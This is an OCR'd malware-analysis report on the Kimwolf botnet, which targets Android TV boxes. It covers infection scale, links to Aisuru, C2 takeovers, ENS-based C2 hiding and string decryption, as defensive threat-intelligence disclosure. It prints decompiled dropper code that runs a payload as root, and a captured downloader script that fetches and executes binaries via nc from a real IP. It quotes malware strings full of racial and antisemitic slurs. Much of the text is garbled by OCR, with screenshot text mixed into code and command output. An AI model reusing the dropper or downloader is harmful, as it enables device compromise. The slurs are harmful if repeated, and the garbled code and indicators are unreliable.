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Background

On October 24, 2025, a trusted partner in the security community provided us with a brand-new botnet sample.
The most distinctive feature of this sample was its C2 domain, 14emeliaterracewestroxburyma®2132[.]su ,
which at the time ranked 2nd in the Cloudflare Domain Rankings. A week later, it even surpassed Google to claim
the number one spot in Cloudflare's global domain popularity rankings. There is no doubt that this is a hyper-scale
botnet. Based on the information output during runtime and its use of the wolfSSL library, we have named it

Kimwolf.
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Top 100 domains Updated: Oct 30, 2025
Ranked list of domain names (?)
Domain name Category
1 14emeliaterracewestroxburyma02132.su CIPAFilter  Anonymizer  Malware
2 google.com Search Engines
3 googleapis.com Content Servers Information Technology
4  groksearch.net Newly Seen Domains
5 cloudflare.com Technology
6 gstatic.com Content Servers
7  facebook.com Social Networks
8 microsoft.com Business Information Technology
9 apple.com Information Technology Technology
10 amazonaws.com Technology

Kimwolf is a botnet compiled using the NDK. In addition to typical DDoS attack capabilities, it integrates proxy
forwarding, reverse shell, and file management functions. From an overall architectural perspective, its functional
design is not complex, but there are some highlights worth noting: for example, the sample uses a simple yet
effective Stack XOR operation to encrypt sensitive data; meanwhile, it utilizes the DNS over TLS (DoT) protocol
to encapsulate DNS requests to evade traditional security detection. Furthermore, its C2 identity authentication
employs a digital signature protection mechanism based on elliptic curves, where the Bot side will only accept
communication instructions after the signature verification passes. Recently, it has even introduced EtherHiding
technology to counter takedowns using blockchain domains. These features are relatively rare in similar malware.
Based on our analysis results, it primarily targets Android platform TV boxes. The "Welcome to Android Support

Center" message displayed on the C2 backend also corroborates this.

nobpo noxanoesatb B Android Support Center

Beegnute Bawm y4veTHble OaHHbIE

The Kimwolf samples use a naming rule of "niggabox + v[number]" to identify version numbers. The sample
previously provided by our community partner was version v4. After completing the reverse engineering analysis,
we imported the sample's intelligence into the XLab's Cyber Threat Insight and Analysis System, successively
capturing multiple related samples including v4 and v5, achieving automated continuous tracking of this

family.
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On November 30, we captured another new sample of this botnet family and successfully took over one of the C2
domains, thereby obtaining the opportunity to directly observe the true operating scale of this botnet for the first
time. Based on statistics from source IP data that established connections with our registered C2 address and
whose communication behavior matched Kimwolf C2 protocol characteristics, we observed a cumulative total of
approximately 2.7 million distinct source IP addresses over the three days from December 3 to December 5.
Among them, we observed approximately 1.36 million active IPs on December 3, about 1.83 million on
December 4, and about 1.5 million on December 5 (there is IP overlap between different dates). Analysis indicates
that Kimwolf's primary infection targets are TV boxes deployed in residential network environments. Since
residential networks usually adopt dynamic IP allocation mechanisms, the public IPs of devices change over time,
so the true scale of infected devices cannot be accurately measured solely by the quantity of IPs. In other words,

the cumulative observation of 2.7 million IP addresses does not equate to 2.7 million infected devices.

Despite this, we still have sufficient reason to believe that the actual number of devices infected by Kimwolf

exceeds 1.8 million. This judgment is based on observations in the following areas:

o Kimwolf uses multiple C2 infrastructures. We took over only a portion of the C2s, so we could only
observe the activity of some Bots, unable to cover the full picture of the botnet.

e On December 4, the number of Bot IPs we observed reached approximately 1.83 million, a historical peak.
On that day, parts of the C2s normally used by Kimwolf were taken down by relevant organizations,
causing a large number of Bots to fail to connect to the original C2s and turn to try connecting to the C2 we
preemptively registered. This anomalous event caused more Bots to be centrally exposed in a short period,
so the data for that day may be closer to the lower limit of the true infection scale.

 Infected devices are distributed across multiple global time zones. Affected by time zone differences and
usage habits (e.g., turning off devices at night, not using TV boxes during holidays, etc.), these devices are
not online simultaneously, further increasing the difficulty of comprehensive observation through a single
time window.

o Kimwolf exists in multiple different versions, and the C2s used by different versions are not completely

identical, which is also one of the important reasons why we cannot obtain a complete perspective.

Combining the above factors, we conservatively estimate that the actual number of devices infected by Kimwolf
has exceeded 1.8 million. A botnet of such scale possesses the capability to launch massive cyberattacks, and its

potential destructive power cannot be ignored.

While working hard to track new versions, we were also full of curiosity about the old versions. Through source
tracing analysis, although we failed to capture old versions like v1 or v2, we surprisingly found that Kimwolf is
actually associated with the Aisuru botnet. Kimwolf relies on an APK file to load and start it during runtime. A
DEX file uploaded to VT from India on October 7 showed obvious homologous characteristics with Kimwolf's
APK. Subsequently, on October 18, the parent APK of that DEX was uploaded to VT from Algeria; the resource
files of this APK contained Aisuru samples for 3 CPU architectures: x86, x64, and arm. We speculate that in the
early stages of this campaign, the attackers directly reused Aisuru's code; subsequently, likely because Aisuru
samples had high detection rates in security products—Android platforms have more mature security protection
systems compared to IoT ecosystems—the group decided to redesign and develop the Kimwolf botnet to enhance

stealth and evade detection.
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From the monitoring data of the XL.ab command tracking system, statistics show that the main functions of the
Kimwolf botnet are usually concentrated on traffic proxying, with a small amount of DDoS attacks. However,
between November 19 and 22, it suddenly went "crazy": in just 3 days, it issued 1.7 billion DDoS attack
commands, with the attack range covering massive amounts of IP addresses globally. This high-profile spree
follows on the heels of the C2 domain's unprecedented rise to #1 in global popularity. Theoretically, such a large
number of attack commands and targets may not be able to produce substantial attack effects on the targets; this

behavior may have been purely to demonstrate its own presence.

Currently, the security community's understanding of Kimwolf presents a polarized situation. Infermation in the
public intelligence field is scarce, its propagation path is not yet clear, and the detection rate of related samples
and their C2 domains on VirusTotal is extremely low. At the same time, due to the adoption of covert technologies
like (DoT), the association between its C2 and samples has not been effectively discovered. However, at the non-
public threat confrontation level, the situation is entirely different. We observed that Kimwolf's C2 domains
have been successfully taken down by unknown parties at least three times, forcing it to upgrade its tactics and
turn to using ENS (Ethereum Name Service) to harden its infrastructure, demonstrating its powerful evolutionary
capability. Given that Kimwolf has formed a massive attack scale, and its recent activity frequency and attack
behaviors show a significant upward trend, we believe it is necessary to break the intelligence silence. We hereby
release this technical analysis report to make relevant research results public, aiming to promote threat intelligence
sharing, gather community strength to jointly respond to such threats, and effectively maintain cyberspace

security.

Timeline

e October 24: A trusted community partner provided us with the first Kimwolf sample, version v4.

e November 1 to 28: The Xlab Large-scale Network Threat Perception System independently captured 8
new samples, covering v4 and v5 versions.

e December 1: Xlab successfully took over a C2 domain in version v5, observing a peak daily active bot IP
count of approximately 1.83 million.

e December 4: A Kimwolf C2 domain was taken down by an unknown party; the C2 domain could not

resolve to a valid IP address.
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root@s22262 ~ # dig rtrdedgel.samsungcdn.cloud

; <<>> D1G 9.18.30-0Qubuntu0.20.04.2-Ubuntu <<>> rtrdedgel.samsungcdn.cloud
;3 global options: +cmd

;3 Got answer:

;3 ->>HEADER<<- opcode: QUERY, status: SERVFAIL, id: 48143

;3 flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: O, ADDITIONAL: 1

33 OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 512
s EDE: (Network FOE):

; EDE: (Network
s EDE: (Network
; EDE: (Network
s EDE: (Network
; EDE: (Network E
s EDE: (No Reachabl
53 QUESTION SECTION:
;rtrdedgel. samsungcdn.cloud. IN A

( rcode=REFUSED for rtrdedgel.samsungcdn.cloud/a)
2 rcode=REFUSED for rtrdedgel.samsungcdn.cloud/a)
B i rcode=REFUSED for rtrdedgel.samsungcdn
)i ( rcode=REFUSED for rtrdedgel.samsungcdn.cloud/a)
R rcode=REFUSED for rtrdedgel.samsungcdn.cloud/a)
ER( rcode=REFUSED for rtrdedgel.samsungcdn.cloud/a)
Authority): (At delegation samsungcdn.cloud for rtrdedgel.samsungcdn.cloud/a)

0
or
"ror
=

53 Query time 36 msec

35 : 8.8.8. 8.8) (UDP)
;5 WHEN: Wed Dec 10 09.2 15 UTC 2025
33 MSG SIZE rcvd: 535

e December 6: Xlab captured a new v5 sample again, which enabled 6 new C2 domains.
» December 8: An active downloader server was discovered in the wild, and scripts related to Kimwolf
activities were successfully captured.

e December 10: Kimwolf's new C2 domain was taken down again.

root@s22262 ~ # dig staging.pproxyl.fun

; <<>> D1G 9.18.30-0ubuntu0.20.04.2-Ubuntu <<>> staging.pproxyl.fun
; global options: +cmd

; Got answer:

;; ->>HEADER<<- opcode: QUERY, status: SERVFAIL, id: 28321

53 flags: gqr rd ra; QUERY: 1, ANSWER: O, AUTHORITY: O, ADDITIONAL: 1

; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 512
s+ EDE: (Network 3
; EDE: (Network

) rcode=REFUSED for staging.pproxyl.fun/a)
) rcode=REFUSED for staging.pproxyl.fun/a)
) rcode=REFUSED for staging.pproxyl.fun/a)
r): rcode=REFUSED for staging.pproxyl.fun/a)
or): rcode=REFUSED for staging.pproxyl.fun/a)
).
A

; EDE: (Network
s+ EDE: (Network
; EDE: (Network Erro
s+ EDE: (No Reachable
53 QUESTION SECTION:
;staging.pproxyl. fun. IN A

: EDE: 23 (Network E

rcode=REFUSED for staging.pproxyl.fun/a)
uthority): (At delegation pproxyl.fun for staging.pproxyl.fun/a)

33 Query time: 36 msec
;3 SERVER: 8.8.8.8#53(8.8.8.8) (UDP)
33 WHEN: Wed Dec 10 09:20:17 UTC 2025
53 MSG SIZE rcvd: 477

e December 11: Xlab captured a new v5 sample again; this sample enabled a brand new C2 domain, but the
C2 port was not open; the parent APK certificate was updated.

e December 12: Kimwolf upgraded its infrastructure again, enhancing C2 resilience by introducing ENS
domains in response to the multiple previous takedowns, even arrogantly declaring "we have 100s of

servers keep trying LOL!"
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pawsatyou.eth ©
TAEH SR AN FER EHE
XF 4iEF

description THIS A FLAMING BOTNET! And the daemon said, be you angels? and we s 0
aid NAY! WE ARE BUT MEN! swatnet botnet

avatar https:/feuc.li/pawsatyou.eth B
lol [fedO:5dec:ea5e:d013:130:9:1be7:8599]:48317 @
haha we have 100s of servers keep trying LOL! B

Scale & Capability

On December 1, we successfully took over a Kimwolf C2 domain, allowing us to directly assess the true infection
scale of this botnet for the first time. Statistically, the cumulative infected IPs exceeded 3.66 million, reaching an
activity peak on December 4 with single-day node IPs as high as 1,829,977. Our takeover action seemed to trigger
a chain reaction, followed by unknown third parties implementing takedowns (such as stopping DNS resolution)
on Kimwolf's other C2 infrastructures. This forced Kimwolf's operators to perform emergency upgrades,
completely replacing the sample's C2 configurations, which caused the numbers we observed to drop sharply.

currently, the daily active scale is around 200,000.
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@timestamp per 3 hours

Kimwolf mainly targets the Android platform, involving TVs, set-top boxes, tablets, and other devices. Some

device models are shown below:
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Device Model Device Model Device Model Device Model
TV BOX SuperBOX HiDPTAndroid P200
X96Q XBOX SmartTV MX10

Infected devices are distributed in 222 countries and regions globally. The top 15 countries are analyzed as: Brazil
14.63%, India 12.71%, USA 9.58%, Argentina 7.19%, South Africa 3.85%, Philippines 3.58%, Mexico 3.07%,
China 3.04%, Thailand 2.46%, Saudi Arabia 2.37%, Indonesia 1.87%, Morocco 1.85%, Turkey 1.60%, Iraq
1.53%, Pakistan 1.39%.

Brazil 537.7k
= |INndia 467.0k
== United States of America 352.0k
G

— Argentina 264.3k
-

B= South Africa 141.4k
-

A Philippines 131.5k
o

I'l Mexico 112.8k
Y

il China 1M1.7k

Readers familiar with DDoS might be curious: "For such a huge botnet, what level has its attack capability

actually reached?" Although we cannot directly measure it, through observations of two large-scale DDoS events
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and a horizontal comparison with Aisuru, we believe Kimwolf's attack capability is close to 30Tbps.

e A well-known cloud service provider observed a 2.3Bpps attack at 22:09Z on November 23, with 450,000
participating IPs. We confirmed Kimwolf's participation.

e A well-known cloud service provider observed an attack nearing 30Tbps and 2.9Gpps at 09:35Z on
December 9. After data comparison, both parties confirmed Kimwolf's participation.

» Cloudflare pointed out in its Q3 2025 DDoS threat report that Aisuru is one of the strongest known botnets
currently, with a control scale of millions of IoT/network devices, capable of sustaining Tbps-level attacks

and even peak attacks approaching 30 Tbps and 10+ Bpps.

In fact, we believe that behind many attacks observed by Cloudflare attributed to Aisuru, it may not just be the
Aisuru botnet acting alone; Kimwolf may also be participating, or even led by Kimwolf. These two major botnets
propagated through the same infection scripts between September and November, coexisting in the same batch of

devices. They actually belong to the same hacker group.

Kimwolf & Aisuru

How did we uncover the connection between Kimwolf and Aisuru? It all started with the APK sample (MD5:
b688c22aabcd83138bbadafb9b3ef4fc) captured on October 25. The file and package names were aisuru.apk
and com.n2.systemservice@644 , respectively. This sample implemented a malicious Android boot receiver,

enabling automatic execution upon device startup.

Its main malicious behavior is: extracting a preset binary file (referenced via resource ID

R.raw.libniggakernel ) from the application's own res/raw/ resource directory, writing it to the application
data directory named niggakernel , and then setting the file permission to executable. Subsequently, the sample
attempts to obtain root privileges via the su command to execute this malicious program, achieving persistence

and system control.

Upon analysis, this preset binary file ji.so is essentially the "kimwolf" malware. The sample previously

provided to us by the security community was exactly the unpacked version of this file.

public class BootReceiver extends android.content.BroadcastReceiver {

/* renamed from: a */
public static final int[] f1@5@a = {com.p@lln2.systemservice@644.R.raw.libniggakernel};

/* renamed From: a */

public static void ml64@a(android.content.Context context) {
java.io.DataOutputStream dataOutputStream = new java.io.DataOutputStream(java.lang.Runtime.getRuntime().exec("su").getOutputStream());
dataOutputStream.writeBytes(context.getFilesDir().getAbsolutePath() + "/niggakernel persisted\n");

j:t:g:tg::zt::::::;a::?))IEES( SEEn; [E2 D:\100Tnight\kimwolf\1025_b688c22aabcd83138bba4afb9b3ef4fc\res\ - o X
} ) REE) BA(V) BHA) TEM #eH)
$ m v o= % i
@override // android.content.BroadcastReceiver AN RREE W S A BiE 158
public final void onReceive(android.content.Context context, android.content.Intent intent) { 5 | DAI001night\Kimwol\1025_b688c22aabcd83138bbadafbab3efdfclres\ o
if ("android.intent.action.BOOT_COMPLETED".equals(intent.getAction())) { o ~
Ty o ein ; ; ; X color-v21
new java.io.File(context.getFilesDir(), “niggakernel”).createNewFile(); =
java.io.Inputstrean openRawResource = context.getResources().openRawResource(f1e5ea[e]); | {";:ebp
byte[] bArr = new byte[openRawResource.available()];  J_webp .
openRawResource.read (bArr); B N
new java.io.File(context.getFilesDir(), "niggakernel").setExecutable(true);
try { BERE 0/ 503 MRE

java.io.FileOutputStream fileOutputStream = new java.io.FileOutputStream(new java.io.File(context.getFilesDir(), "niggakernel").getAbsolutePath());
fileOutputStream.write(bArr);
fileOutputStream.flush();
fileOutputStream.close();
} catch (java.io.FileNotFoundException | java.io.IOException unused) {
}
m1640a(context);
} catch (java.lang.Exception e) {
java.lang.String message = e.getMessage();
message.getClass();
android.util.Log.d("LOL?", message);
}
}
}
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Using various features of the aforementioned APK as clues, we found that the APK (MD5:
887747dc1687953902488489b805d965) has obvious homologous characteristics, such as using the same resource

ID name libniggakernel , the same package name systemservice@644 , Log identifier "LOL", preset filename

ji.so , etc.

try {
android.content.Context applicationContext = getApplicationContext();
new java.io.File(applicationContext.getFilesDir(), "nigger”).createNewFile();
for (int i : xds) { xds = {com.android.systemservice@644.C0595R. raw. libniggakernel, com.android.systemservice@644.Co595R. raw.libniggakernel2, com.android.systemservice@644.Co595R. raw. libniggakernels);
java.io.Inputstrean openRawResource = applicationContext.getResources().openRawResource(i);

byte[] bArr = new byte[openRawResource.available()]; [ D100 1018 887747dc [u] X
openRawResource. read (bArr); * - "
: : : : : ; : 1) FHE(E) TE(V) BEHA) TED BEH)
new java.io.File(applicationContext.getFilesDir(), "nigger").setExecutable(true); * ()_ j) _(.V) % (EI —
writeToFile(applicationContext, bArr); i AEEE 0t S 500 MR R
run0scmd(applicationContext);
# |1 DA1001night\kimwolf\1018_887747cc168795 -
} catch (java.lang.Exception e) { B ~
android.util.Log.d("LOL!", e.getMessage()); Llagso
) Mjtso
Jcoso v
< >
public void writeToFile(android.content.Context context, byte[] barr) { ¥ 0/678 M8
try {
java.io.FileoutputStrean fileOutputStream = new java.io.FileOutputStrean(new java.io.File(context.getFilesDir(), "nigger").getAbsolutepath());

fileOutputStream.write(bArr);
fileOutputstream.flush();
fileOutputStrean.close();
} catch (java.io.FileNotFoundException | java.io.IOException unused) {

}

What surprised us is that the 3 binary files c@.so , ji.so ,and g8.so preset in this APK do not belong to the
kimwolf family, but to the AISURU botnet. They use the same C2 and Reporter as the sample
053a0abe0600d16a91b822eb538987bca3f3ab55 mentioned in our September 15 analysis report.

index ® --> b'System upgrade in progress...'

index 1 --> b'stun.l.google.com’

index 2 -->|b'dvrxpert.tiananmensquare! B .su’

index 3 -->|b'report.tiananmensquare .su’

index 4 --> b'telnetd,udhcpc,inetd,ntpclient,watchdog,klogd,upnpd,dhclient’
index 5 --> b'/bin/sh’

index 6 --> b'/lib/'

index 7 --> b'libcow.so’

On November 29, more evidence surfaced. Two APK samples uploaded to VirusTotal successively from the
United States were highly similar to the two APKs above. Upon analysis, the libdevice.so in their lib

directories corresponded to new variants of "kimwolf" and "aisuru" respectively.

* 902cf9a76ade062a6888851b9d1ed30d
Family: kimwolf
Package Name: com.n2.systemservice063
lib file directory: /lib/armeabi-v7a/libdevice.so
e 8011ed1d1851c6ae31274c2ac8edfc06
Family: aisuru
Package Name: com.n2.systemservice062

lib file directory: /lib/armeabi-v7a/libdevice.so

More crucially, these two APKs used the same signing certificate. The certificate SHA1 fingerprint is
182256bca46a5c02def26550a154561ec5b2b983. The content features of this certificate, such as Common Name:
John Dinglebert Dinglenut VIII VanSack Smith , are highly unique and have no public record on the internet.

From this, it can be judged that they come from the hands of the same development organization.
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Certificate Attributes

Valid From 2025-11-09 06:27:27

Valid To 2050-11-03 06:27:27

Serial Number 1

Thumbprint 182256bca46a5c02def26550a154561ec5b2b983

Certificate Subject

Distinguished Name C:NG, CN:John Dinglebert Dinglenut VIl VanSack Smith, L:jew, O:jew, ST:jew, OU:jew
Common Name John Dinglebert Dinglenut VIIl VanSack Smith

Organization jew

Organizational Unit jew

Country Code NG

State jew

Locality jew

On December 8, we finally had definitive evidence. The script captured on the Downloader server 93.95.112.59

directly associated kimwolf ( mreo31.apk ) and aisuru ( meow217 ) together.

# download

echo -en krebsfiveheadindustries | (toybox nc 93.95.112.59 8082 busybox nc 93.95.112.59 8082 busybox1.11 nc 93
.95.112.59 8082 busyboxl nc 93.9 .59 8082) > $SAVE_DIR/mreo31.apk

echo -en krebsfiveheadindustrie ox nc 93.95.112.59 1003 busybox nc 93.95.112.59 1003 busybox1.11 nc 93
.95.112.59 1003 busyboxl nc 93.9 .59 1003) > E_DIR/mreo31

echo -en krebsfiveheadindustries | oybox nc 93.95.112.59 5099 busybox nc 93.95.112.59 5099 busybox1.11 nc 93
.95.112.59 5099 busyboxl nc 93.95.112.59 5099) > $SAVE_DIR/mreo32

#echo -en krebsfiveheadindustries | (toybox nc 93.95.112.59 3582 busybox nc 93.95.112.59 3582) > /data/local/tmp/
meow217

# droid only

[,
chmod 777 $SAVE_DIR/mreo31 [kgﬂ H{F
$SAVE_DIR/mreo31 android-tv-v2-np [ﬁ]iﬁ&ﬁ!ﬂ::)

# ppsdk
chmod 777 $SAVE_DIR/mreo32
$SAVE_DIR/mreo32 android-tv-v2-np

# toto

o
#chmod 777 $SAVE_DIR/meow217
#$SAVE_DIR/meow217 saltshaker @DS@]M

Cautious readers might ask: "Is there a possibility that the Aisuru group's code was leaked or sold to a third
party?" Frankly speaking, this possibility does exist. Fortunately, although the C2 addresses of the Aisuru samples
captured on November 29 mentioned above were updated, they still reused the previously named tiananmeng
Reporter. The reuse of infrastructure strongly eliminates the possibility of third-party code reuse. In summary, we

have high confidence in attributing Kimwolf to the Aisuru group.

index © --> b'System upgrade in progress...'

index 1 --> b'stun.l.google.com'

index 2 --> b'tower.mtdblock.st’

index 3 --> b'report.tiananmensquare .su’

index 4 --> b'telnetd,udhcpc,inetd,ntpclient,watchdog,klogd,upnpd,dhclient’
index 5 --> b'/bin/sh,/bin/bash,/system/bin/sh,/system/xbin/sh’

index 6 --> b'/lib/"

index 7 --> b'libcow.so’

Technical Details
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The Kimwolf samples we captured can be divided into two major versions: v4 and v5. In v4, Kimwolf's author,

either out of bad taste or to express political attitudes, liked to output various information in the console.

o sample 18dcf61dad028b9e6f9edaa664e7ff92 outputs $$ ForeheadSDK v2.0 Premium Edition $$ ;
e sample 2078af54891b32eaOb1d1bf08b552fe8 outputs Kim Jong-un Leads Our Nation to Strength. Long

live our Supreme Leader! .

The most exaggerated one is sample 1c03d82026bbbcf5acd8fc4bcf48eddd , which, besides outputting a series of
political views, specifically mocked the well-known cybersecurity investigative journalist Krebs, calling him "Big
Forehead" (KREBSFIVEHEADFANCLUB), and even jokingly asked the Xlab team to "taste virgin boy eggs"
(VIRGINBOYEGGSFORXLAB).

b*'ATTENTION! This TV is now property of Gurvinder Bhangu and his brothers missing finger'
b'FREE ASPERTAINE! FREE THALHA JUBAIR! FREE ALL THEM NIGGAS'
b'#KREBSFIVEHEADFANCLUB'
b'#FREETRUGS'
b'#STATESPONSOREDTHREATACTORS®
b'#FREEGUS'

b'#FREEMARONERAM MEOW :3 :3 :3 :3°
b'#DALTONISMYEWITNESS®

b'#FREEOBN'

b*#WEINTHESLACKRN®

b'#BESTHVNC'
b'#SHINYSPIDERACIDBITCH3Z®
b'#BRICKSQUADYUKISNOTYUKARI'
b'#FUCKECLETICIQ'

b'#FUCKMANDIANT'

b'#FUCKLISABLUNT'
b'#JOETIDYISANIGGER'

b'#LS2025FR’

b’ #CONREPPINBALLWITHCPLIKEMYMANDUCKY"
b'#RIPCONREPPIN'

b #MYTASKUSINNYGOTFIRED'
b'#RIPCBINDORE'

b #QWERVYNDRITANRUNTHISSHIT'
b'#VIRGINBOYEGGSFORXLAB'

Kimwolf's author is quite vengeful. After we preemptively registered their C2, they immediately counterattacked,
leaving an "easter egg" in the DDoS attack method of ssl_socket to stigmatize Chinese people. regarding this,

we just want to say: "Sooner or later, you'll taste our iron fist."

idontlikemchineseniggas
becausetheylikeitrealyoung

myniggatheylikeit131415.com

The core malicious functions of v4 and v5 versions are highly consistent. The execution flow of these samples can
be summarized as follows: after the sample starts on the infected device, it first achieves single instance by
creating a file socket to ensure only one process runs continuously on the same device; subsequently, it decrypts

the embedded C2 domain, and to evade conventional detection, uses the DNS-over-TLS protocol to initiate
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queries to the port 853 of public DNS services (8.8.8.8 or 1.1.1.1) to obtain the real C2 IP; finally, it establishes a
communication connection with that IP, entering a waiting state, ready to receive and execute commands from the

control end at any time.

The most significant difference between v4 and v5 versions lies in the method of obtaining the real C2 IP: v4
version directly uses DNS to query the A record of the C2 domain, while v5 version, after querying the IP, requires
an XOR operation. Taking C2 domain rtrdedgel.samsungcdn[.]cloud as an example, the IP resolved on
December 3 was 44.7.0.45 ; after XORing with 0xce0491, the real C2 IP 45.206.3.189 is obtained.

Recipe ~ BB ¥ Input
44.7.0.45
R\ ||
Fork - 168.1.6.45
Split delimiter Merae delimiter 167.1.0.45 rtrdedgel.samsungcdn.cloud. A 44.7.0.45
\n \n [ ignore errors 162.1.0.45
189.1.0.45 rtrdedgel.samsungcdn.cloud. A 168.1.0.45
181.1.0.45
Change IP format ~0 131.1.0.45
rtrdedgel.samsungcdn.cloud. A 167.1.0.45
Input format Output format
Dotted Decimal Hex
rtrdedgel.samsungcdn.cloud. A 162.1.0.45
Swap endianness ~0n 189.1.0.45
rtrdedgel.samsungcdn.cloud. A -1.0.
Data format Word lenath (bytes) . q I d
v .
Hex 4 RIS NI rtrdedgel.samsungcdn.cloud. A 181.1.0.45
From Hex ~0n rtrdedgel.samsungcdn.cloud. A 131.1.0.45
Delimiter
Auto
mec 75 = 7
O
XOR ~ O Output
Key Scheme
HEX~ Null preservin 45.206.3.189
00 ce 04 91 Standard D p 9 45.206.5.57
45.206.5.54
Q 45.206.5.51
~ QN
To Hex . 45.206.5.44
Delimiter Bytes per line 45.206.5.36
Space (] 45.206.5.18
Change IP format ~0n
Input format Output format
Hex Dotted Decimal

On December 12, Kimwolf began using EtherHiding technology. The sample introduced an ENS domain

(Ethereum Name Service), pawsatyou.eth, with the C2 hidden in the "lol" text record.

avatar https:/euc.li/pawsatyou.eth ©

lol [fedO:5dec:eabe:d013:130:9:1be7:8599]:48317 H

But the real C2 is not the IPv6 in "lol", but rather obtained by taking the last 4 bytes of the address and performing
an XOR operation to get the real IP. Taking fed@:5dec:ea5e:d013:130:9:1be7:8599 as an example, taking the
last 4 bytes 1b e7 85 99 and XORing with 0x93141715 yields the real C2 IP 136.243.146.140 .
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import socket

ipvep="'fed@:5dec:eabe:d013:130:9:1be7:8599"
ipvbn=socket.inet pton(socket.AF INET6,ipv6p)

key=b"\x93\x14\x17\x15"'

c2=bytes(x*y for x,y in zip(key,ipvbn[12:]))

1
2
3
4
5
6
7
8
S print(socket.inet _ntop(socket.AF _INET,c2))

The technical essence of ENS is a system of smart contracts deployed on Ethereum. The contract address for
pawsatyou.eth is @xde569B825877c47fE637913eCE5216C644dEA8TF . Readers familiar with smart contracts will

not find it difficult to understand the advantage behind this design: Kimwolf implements a channel similar to

cloud configuration for C2 via the contract. Even if the C2 IP is taken down, the attacker only needs to update the
lol record to quickly issue a new C2. And this channel itself relies on the decentralized nature of blockchain,

unregulated by Ethereum or other blockchain operators, and cannot be blocked.

(@  Transaction Hash Method ® ¥ Block Age ¥ From W W ANY To ¥

®  0x27b51755d8... Set Text 24013046 8 hrs ago 0xde569B82...644dE08TF out 0xF2910098...7B804AC15
@®  0xc3b38adc80f... Set Text 24009272 20 hrs ago 0xde569B82...644dE081F ouT 0xF2910098...7B804AC15
®  0xff7d9ba3fss.. Set Text 24007942 25 hrs ago 0xde569B82...644dE081F out 0xF2910098...7B804AC15
®  Oxebal0e93c4.. Set Text 24007928 25 hrs ago 0xde569B82...644dE08TF out 0xF2910098...7B804AC15
@ 0x0258fa27b42.. Set Text 24007896 25 hrs ago 0xde569B82...644dE081F ouT 0xF2910098...7B804AC15
®  0x504fbff85hh... Set Text 24006245 31 hrs ago 0xde569B82...644dE08TF out 0xF2910098...7B804AC15
@  0x7a8c8635a0... Set Text 24005851 32 hrs ago 0xde569B82...644dE081F ouT 0xF2910098...7B804AC15

Overall, Kimwolf's functions are not complex. The following text will take the sample captured on December 9 as
the main analysis object to dissect Kimwolf's technical details from aspects of string decryption, single instance,

and network protocols.

MD5: 3e1377869bd6e80e00@5b71b9e991c060
MAGIC: ELF 32-bit LSB executable, ARM, EABI5 version 1 (GNU/Linux), statically linked, no section header
PACKER: UPX

String Decryption

Kimwolf uses simple Stack XOR operations to encrypt sensitive data like C2, DNS Resolver, etc. A large number

of similar code snippets can be seen in the pseudo-code decompiled by IDA. veorg_s64 is an 8-byte XOR
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instruction, so decryption is simple: one can use regex to extract the operands and then perform the XOR. In the

figure below, the content decrypted by v63 is exactly the C2 staging.pproxy1[.]fun .

V75

v77
v7/6

ve3

v64

.n128 u64[0]
v75.

ve4.
v3.n128 u64[0] = Ox65F1979D9995EQESLL ;
v3.n128_ub4[1] = Ox83EQ4D34FA255B6ELL;

sub

v2.n128 u64[0] = Ox4B96F9FAFEF49496LL ;
v2.n128 u64[1] = ©OxADD1344C95572B1ELL;
ved.

n128 u64[0] = @x1EDC89AB37CBBC6ILL;
@X65F1979D9995EQESLL ;
n128 u64[1] = @x83EQ4D34FA255B6ELL;
OXBCBIAC12C3081DBOLL ;
Ox1EDC89AB37A5C90FLL ;
n128_u64[1] = @XBCBYAC12C3081DBOLL;

=/ veorq_s64(v3, v2);

v2.n128_u64[0] = ©Ox1EDC89AB37A5CO0QFLL;
v2.n128 u6b4[1] = ©xBCB9AC12C3081DBOLL;

=|veorq_s64(v2, ve64);
8F00((unsigned int *)v65, (const char *)&v63);

I believe readers who have tried manual decryption will find this very inconvenient and ask if there is a more

efficient method. The answer is yes. With a little observation of the code snippet above, we know that the

decrypted C2 string is the 2nd parameter of function sub_8F00 . Based on this characteristic, we can use an

emulator to achieve batch automatic decryption of C2s.

import flare_emu

eh=flare_emu.EmuHelper()

def iterateHook(eh, address, argv, userData):

if eh.isValidEmuPtr(argv[1]):

buf=eh.getEmuString(eh.getRegVal('R1"))
print(f"@x{address:x} ---> {buf}")

eh.iterate(0x00008F00, iterateHook)

The final effect is as follows, successfully decrypting 6 C2s:
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———————————————————— Decrypted Config--------------------

0x757ea
Ox7577e
0x75470
0x73aee
©x739fa
0x73902
0x7380a
0x72e90
0x72ed44
0x70f48
Ox67864
0x1t480
0x159c8
0x14794
0x128co
©x128d0
0x12954
0x845c
0x8530
Ox85ec
0x8688
Ox871c
Ox884c
0x8920
0x8964

bytearray(b'unspecified system category error’)

bytearray(b'unspecified generic_category error')

bytearray(b'stoi’)
bytearray(b'%I:%M:%S %p')
bytearray(b'%a %b %d %H:%M:%S %Y')
bytearray(b'%H:%M:%S")
bytearray(b'%m/%d/%y")
bytearray(b'false"')
bytearray(b'true')

bytearray(b'C")

bytearray(b'unspecified iostream_category error')

bytearray(b'/proc/")
bytearray(b'Error reading VarlInt:
bytearray(b'niggers4sale.fun')
bytearray(b'8.8.8.8")
bytearray(b'1.1.1.1")
bytearray(b'stun.cloudflare.com")

")

bytearray(b'staging.pproxyl.fun')

bytearray(b'sdk-dl-prod.proxiessdk.online")
bytearray(b'sdk-dl-production.pproxyl.fun')
bytearray(b'sdk-dl-production.pproxyl.top’)
bytearray(b'sdk-dl-production.pproxyl.shop’)

bytearray(b'sdk-dl-production.proxiessdk.store")

bytearray(b'1.1.1.1")
bytearray(b'8.8.8.8")

The instruction code for veorq_s64 is VEOR Q8, Q8, Q9 . Through it, we can locate all functions where

encrypted strings are located. Then, based on the patterns presented in different functions, using flare_emu 's

iterate or emulateRange can conveniently achieve decryption of all sensitive strings.

Function

Fas

_ZN6Client7connectEt
_ZN6Client7connectEt
_ZN6Floods10ss|_socketERK5Flood
_ZNG6Floods10ss|_socketERK5Flood
_ZNG6Floods10ss|_socketERK5Flood
_ZN6Floods10ss|_socketERK5Flood
_ZNG6Floods10ss|_socketERK5Flood
_ZN6Floodsémc_encER5Flood
_ZN6Floods7udp_dnsER5Flood
_ZN7sockets13local_addressEv
_ZN7sockets13local_addressEv
_ZN7sockets13local_addressEv

Single Instance
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VEOR
VEOR
VEOR
VEOR
VEOR
VEOR
VEOR
VEOR
VEOR
VEOR
VEOR
VEOR

Q8, Q8, Q9
Q8, Q8, Q9
